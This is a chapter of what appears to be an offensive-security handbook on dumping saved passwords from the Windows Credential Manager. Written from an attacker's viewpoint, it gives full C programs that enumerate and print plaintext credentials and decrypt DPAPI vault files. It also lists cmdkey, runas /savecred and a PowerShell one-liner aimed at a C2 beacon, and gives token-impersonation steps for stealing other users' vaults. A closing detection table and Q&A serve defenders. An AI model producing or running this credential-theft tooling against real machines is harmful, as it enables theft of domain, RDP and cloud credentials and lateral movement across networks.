Chapter 101

Windows Credential Manager Enumeration

Dumping domain credentials, RDP saved passwords, and application secrets stored in the Credential Vault using CredEnumerate/CredRead and direct vault file decryption via DPAPI

Scenario

You've compromised a developer's workstation. The developer connects to multiple servers daily via RDP, uses Azure DevOps, and has SharePoint credentials saved. All of these passwords are stored in Windows Credential Manager — the built-in vault that Windows uses to save credentials for network shares, RDP sessions, web applications, and domain accounts. Running as the user, you can enumerate every saved credential, including the plaintext password, using the standard Credential Manager API. No LSASS access, no privileged calls — the API is designed to let the owning user read their own credentials.

Windows Credential Vault Architecture

Credential Manager (credmgr / vault) │ ├── Windows Credentials (CRED_TYPE_DOMAIN_PASSWORD, DOMAIN_CERTIFICATE, DOMAIN_EXTENDED) │ Stored in: %LOCALAPPDATA%\Microsoft\Credentials\ (encrypted files) │ Encrypted with: DPAPI (user master key) │ Accessible via: CredEnumerateW + CredReadW │ ├── Web Credentials (CRED_TYPE_GENERIC) │ Stored in: %LOCALAPPDATA%\Microsoft\Vault\ │ or: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Vault\ │ Encrypted with: DPAPI (vault-specific key derived from user master key) │ Accessible via: Vault COM API or CredReadW │ ├── Certificate-based credentials │ Stored in: Certificate Stores (CRED_TYPE_DOMAIN_CERTIFICATE) │ └── Generic application credentials (CRED_TYPE_GENERIC) Stored alongside Windows Credentials Used by: Outlook, Teams, browsers (via Windows Vault API) Key insight: Running as the owning user, CredEnumerateW returns PLAINTEXT credentials. DPAPI decryption happens transparently — the API does it for you. No privilege escalation needed to read your own vault. For OTHER users' vaults: need SYSTEM or the user's master key.

Credential Type Reference

Type ValueNameContains
1CRED_TYPE_GENERICApplication-specific credentials (RDP, Outlook, custom apps)
2CRED_TYPE_DOMAIN_PASSWORDDomain/network credentials (Windows Auth, file shares, intranet)
3CRED_TYPE_DOMAIN_CERTIFICATECertificate-based domain auth
4CRED_TYPE_DOMAIN_VISIBLE_PASSWORDPlaintext password visible to user (older apps)
5CRED_TYPE_GENERIC_CERTIFICATEGeneric certificate credentials
6CRED_TYPE_DOMAIN_EXTENDEDExtended domain credentials (NGC, smartcard)

Full Credential Dump via CredEnumerateW + CredReadW

#include <windows.h>
#include <wincred.h>
#include <stdio.h>
#pragma comment(lib, "advapi32.lib")

const char* CredTypeStr(DWORD t) {
    switch(t) {
        case CRED_TYPE_GENERIC:                   return "Generic";
        case CRED_TYPE_DOMAIN_PASSWORD:           return "DomainPassword";
        case CRED_TYPE_DOMAIN_CERTIFICATE:        return "DomainCertificate";
        case CRED_TYPE_DOMAIN_VISIBLE_PASSWORD:   return "DomainVisible";
        case CRED_TYPE_GENERIC_CERTIFICATE:       return "GenericCertificate";
        case CRED_TYPE_DOMAIN_EXTENDED:           return "DomainExtended";
        default: return "Unknown";
    }
}

void PrintCredential(CREDENTIALW *cred) {
    wprintf(L"\n[+] Credential:\n");
    wprintf(L"    TargetName : %s\n", cred->TargetName   ? cred->TargetName   : L"(none)");
    wprintf(L"    UserName   : %s\n", cred->UserName     ? cred->UserName     : L"(none)");
    wprintf(L"    Comment    : %s\n", cred->Comment      ? cred->Comment      : L"(none)");
    printf("    Type       : %s (%lu)\n", CredTypeStr(cred->Type), cred->Type);

    // The credential blob contains the password.
    // For CRED_TYPE_DOMAIN_PASSWORD, CredentialBlob is a UNICODE string (not null-terminated).
    // For CRED_TYPE_GENERIC, could be binary or a string depending on the app.
    if (cred->CredentialBlobSize > 0 && cred->CredentialBlob) {
        printf("    CredBlob   : ");
        if (cred->Type == CRED_TYPE_DOMAIN_PASSWORD ||
            cred->Type == CRED_TYPE_GENERIC        ||
            cred->Type == CRED_TYPE_DOMAIN_VISIBLE_PASSWORD) {
            // Print as Unicode string (blob is UTF-16LE, not null-terminated)
            DWORD charCount = cred->CredentialBlobSize / sizeof(WCHAR);
            wprintf(L"%.*s\n", charCount, (WCHAR*)cred->CredentialBlob);
        } else {
            // Print raw bytes as hex for binary blobs
            for (DWORD i = 0; i < cred->CredentialBlobSize; i++)
                printf("%02x", cred->CredentialBlob[i]);
            printf("\n");
        }
    } else {
        printf("    CredBlob   : (empty)\n");
    }
    wprintf(L"    LastWritten: %llu\n",
            ((ULONGLONG)cred->LastWritten.dwHighDateTime << 32) |
            cred->LastWritten.dwLowDateTime);
}

void DumpAllCredentials() {
    PCREDENTIALW *creds = NULL;
    DWORD count = 0;

    // Enumerate all credentials for the current user
    // CredEnumerateW with filter=NULL returns all credentials
    // This call transparently decrypts via DPAPI — no extra steps needed
    if (!CredEnumerateW(NULL, 0, &count, &creds)) {
        DWORD err = GetLastError();
        if (err == ERROR_NOT_FOUND) {
            printf("[-] No credentials stored in Credential Manager\n");
        } else {
            printf("[-] CredEnumerateW failed: %lu\n", err);
        }
        return;
    }

    printf("[*] Found %lu credentials\n", count);

    for (DWORD i = 0; i < count; i++) {
        PrintCredential(creds[i]);
    }

    CredFreeW(creds);
}

// Targeted read: read a specific credential by target name and type
BOOL ReadSpecificCredential(const WCHAR *targetName, DWORD type) {
    CREDENTIALW *cred = NULL;
    if (!CredReadW(targetName, type, 0, &cred)) {
        printf("[-] CredReadW failed: %lu\n", GetLastError());
        return FALSE;
    }
    PrintCredential(cred);
    CredFreeW(cred);
    return TRUE;
}

int wmain() {
    printf("=== Credential Manager Dump ===\n");
    DumpAllCredentials();

    // Target specific high-value credential types
    printf("\n=== Targeted: Domain Password Credentials ===\n");
    PCREDENTIALW *domainCreds = NULL;
    DWORD domainCount = 0;
    // Filter: enumerate only CRED_TYPE_DOMAIN_PASSWORD
    if (CredEnumerateW(NULL, 0, &domainCount, &domainCreds)) {
        for (DWORD i = 0; i < domainCount; i++) {
            if (domainCreds[i]->Type == CRED_TYPE_DOMAIN_PASSWORD) {
                PrintCredential(domainCreds[i]);
            }
        }
        CredFreeW(domainCreds);
    }
    return 0;
}

Vault Files on Disk — Direct Parsing

When running as a different user, impersonating another token, or examining an offline disk, you work with the raw vault files. They are encrypted DPAPI blobs. Credential Manager stores Windows Credentials (type 1 and 2) in %LOCALAPPDATA%\Microsoft\Credentials\ and Web Credentials in %LOCALAPPDATA%\Microsoft\Vault\:

On-disk layout: %LOCALAPPDATA%\Microsoft\Credentials\ ├── A1B2C3D4E5F6... (hex filename = GUID-based) ├── 8F7E6D5C4B3A... └── ... %LOCALAPPDATA%\Microsoft\Vault\ ├── {4BF4C442-9B8A-41A0-B380-DD4A704DDB28}\ (Web Credentials vault) │ ├── Policy.vpol (vault policy — contains vault encryption key, encrypted with user DPAPI) │ └── *.vcrd (vault credential files) └── {77BC582B-...}\ (Windows Credentials vault) Each Credentials\ file structure: CREDENTIAL_BLOB_HEADER: dwVersion : 1 or 2 dwFlags : 0 dwHeaderSize : size of header dwCredentialBlobSize: size of encrypted blob Followed by: DPAPI blob (DATA_BLOB structure) Encrypted with: current user's DPAPI master key On decryption: returns serialized CREDENTIAL_ATTRIBUTE + password bytes Decrypt a file directly with PowerShell (running as target user): $bytes = [IO.File]::ReadAllBytes("$env:LOCALAPPDATA\Microsoft\Credentials\ABCDEF...") # Skip the header (first 60 bytes approximately), then CryptUnprotectData # Or use: Invoke-Command with the credential file path to Mimikatz/SharpDPAPI

cmdkey.exe LOLBin — Listing Stored Credentials

The built-in cmdkey.exe can list all stored credentials without invoking the API directly. Useful for quick reconnaissance from a shell:

# List all stored credentials (no password shown — just existence check)
cmdkey /list

# Example output:
# Target: Domain:target=server01.corp.local
#   Type: Domain Password
#   User: CORP\backupadmin
#
# Target: MicrosoftOffice16_Data:SSPI:outlook.office365.com
#   Type: Generic
#   User: jdoe@corp.com
#
# Target: LegacyGeneric:target=TERMSRV/192.168.1.50
#   Type: Generic
#   User: administrator

# RDP (TERMSRV) targets — valuable for lateral movement
# These are saved when a user checks "Remember my credentials" in RDP
# cmdkey /add can also ADD credentials to be used with runas or net use:
runas /savecred /user:CORP\administrator "cmd.exe"
# If credentials were saved for that account, this will run without a password prompt

# Extract via wmic (alternate LOLBin path):
wmic useraccount get name,sid   # get SIDs to correlate vault files to users

# From attacker's C2 beacon — PowerShell one-liner dump:
[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]::new().RetrieveAll() | ForEach-Object { $_.RetrievePassword(); $_ } | Select UserName, Resource, Password

Manual DPAPI Decryption of Vault Blobs

For offline disk forensics or when running as a different user, decrypt vault blobs manually by extracting the DPAPI blob from the file and calling CryptUnprotectData (if running as the owning user) or by using the master key + SharpDPAPI/impacket for offline decryption:

#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
#pragma comment(lib, "crypt32.lib")

// Minimal structure for a Credentials file header (approximate — varies by Windows version)
typedef struct _CRED_FILE_HEADER {
    DWORD dwVersion;
    DWORD dwCount;
    DWORD dwFlags;
    BYTE  reserved[52];
    // Followed by DPAPI DATA_BLOB
} CRED_FILE_HEADER;

BOOL DecryptCredentialFile(const char *filePath) {
    HANDLE hFile = CreateFileA(filePath, GENERIC_READ, FILE_SHARE_READ,
                                 NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return FALSE;

    DWORD fileSize = GetFileSize(hFile, NULL);
    BYTE *buf = (BYTE*)malloc(fileSize);
    DWORD read = 0;
    ReadFile(hFile, buf, fileSize, &read, NULL);
    CloseHandle(hFile);

    // The DPAPI blob begins at offset 60 in a standard credential file
    // (this offset varies — use a real parser like SharpDPAPI for production)
    DWORD dpapi_offset = 60;
    DATA_BLOB inBlob, outBlob;
    inBlob.cbData = fileSize - dpapi_offset;
    inBlob.pbData = buf + dpapi_offset;

    // Running as the owning user: CryptUnprotectData handles master key lookup
    if (CryptUnprotectData(&inBlob, NULL, NULL, NULL, NULL, 0, &outBlob)) {
        printf("[+] Decrypted %lu bytes\n", outBlob.cbData);
        // outBlob.pbData contains the serialized CREDENTIAL structure
        // Parse CREDENTIAL_ATTRIBUTE structs to extract username and password
        printf("    Raw bytes: ");
        for (DWORD i = 0; i < min(outBlob.cbData, (DWORD)64); i++)
            printf("%02x ", outBlob.pbData[i]);
        printf("\n");
        LocalFree(outBlob.pbData);
    } else {
        printf("[-] CryptUnprotectData failed: %lu\n", GetLastError());
        // ERROR_INVALID_HANDLE (6) = running as wrong user / no access to master key
    }

    free(buf);
    return TRUE;
}

// Offline decryption (different user, offline disk) — use impacket or SharpDPAPI:
// SharpDPAPI credentials /pvk:domain_backup_key.pvk
// impacket secretsdump: will decrypt DPAPI credentials if backup key is provided
// dpapi.py masterkey /target:MASTERKEY_FILE /system:SYSTEM_hive → master key
// dpapi.py credential /target:CRED_FILE /masterkey:decrypted_key → plaintext

Dumping Another User's Credentials via Token Impersonation

Scenario: You run as SYSTEM. You want another user's vault credentials. SYSTEM cannot directly call CredEnumerateW for another user — it returns your own (SYSTEM's) empty vault. The DPAPI key is per-user, not per-process. Steps to steal another user's vault: 1. Enumerate logon sessions via LsaEnumerateLogonSessions() 2. Find target user's LUID (logon session ID) 3. Open target user's token: WTSQueryUserToken(session_id, &hToken) 4. ImpersonateLoggedOnUser(hToken) 5. Call CredEnumerateW → now returns target user's credentials with DPAPI transparent decrypt 6. RevertToSelf() Or: Inject a thread into the target user's process (explorer.exe, Teams.exe) and call CredEnumerateW from that process context — same effect. Code: HANDLE hToken; WTSQueryUserToken(wtsSessionId, &hToken); // requires SYSTEM privilege ImpersonateLoggedOnUser(hToken); // switch to user context CredEnumerateW(NULL, 0, &count, &creds); // returns user's decrypted creds RevertToSelf();

Detection

SignalSourceFidelity
Process calling CredEnumerateW/CredReadW that is not a known credential-consuming appEDR API hook / ETWHigh — few processes legitimately enumerate all credentials; process name + parent chain matter
cmdkey /list from unexpected process parent (PowerShell, cmd spawned by office app)Process creation (4688 / Sysmon 1)High — cmdkey is rarely used legitimately by non-admin scripts
CryptUnprotectData called on files from %LOCALAPPDATA%\Microsoft\Credentials\EDR file access + API correlationMedium — requires file path + API monitoring to correlate
WTSQueryUserToken followed by ImpersonateLoggedOnUser and CredEnumerate API sequenceEDR behavioralHigh — this three-API sequence in short succession is unusual

Q&A

What's the difference between Windows Credentials, Web Credentials, and Generic credentials in the vault?

Windows Credentials (CRED_TYPE_DOMAIN_PASSWORD) are network authentication credentials — saved when you connect to a Windows file share, an intranet site using Windows authentication, or check "Remember my credentials" on a domain login prompt. These are the highest-value targets because they often contain domain account passwords usable for lateral movement. Web Credentials (stored in the Vault under a specific GUID, typically CRED_TYPE_GENERIC with a vault target prefix) are saved by Internet Explorer and Edge for websites — HTTP Basic auth credentials and form-based auth for specific sites. Modern Chrome and Firefox use their own credential stores (covered in the DPAPI chapter for Chrome), not the Windows vault. Generic credentials (CRED_TYPE_GENERIC) are the broadest category — applications can store anything: Outlook stores Exchange credentials here, Teams stores authentication tokens, OneDrive stores refresh tokens, RDP connections appear as LegacyGeneric:target=TERMSRV/hostname. The TERMSRV entries are especially useful: they represent saved RDP credentials and can be leveraged with runas /savecred to authenticate laterally to remote machines without knowing the password explicitly.

Can Credential Guard block Credential Manager theft?

Credential Guard protects Kerberos tickets and NTLM hashes stored in LSASS memory by moving the LSA Isolated process to VTL1 (Secure Kernel). It does not protect the Credential Manager vault. The vault files on disk and the DPAPI keys protecting them remain in the VTL0 user space. Running as the owning user, CredEnumerateW will still return plaintext credentials regardless of whether Credential Guard is enabled — the DPAPI master key is derived from the user's password and is available to the user's process context, not stored in LSASS. Credential Guard's protection surface is specifically: NTLM challenge responses in memory, Kerberos service tickets, and derived credentials cached in lsasrv.dll. Disk-based credential storage (Credential Manager, Chrome Login Data, Firefox key4.db) all remain accessible to the owning user process. For defenders: the mitigations for vault theft are different from LSASS mitigations — they require monitoring CredEnumerateW API usage via EDR, not enabling Credential Guard.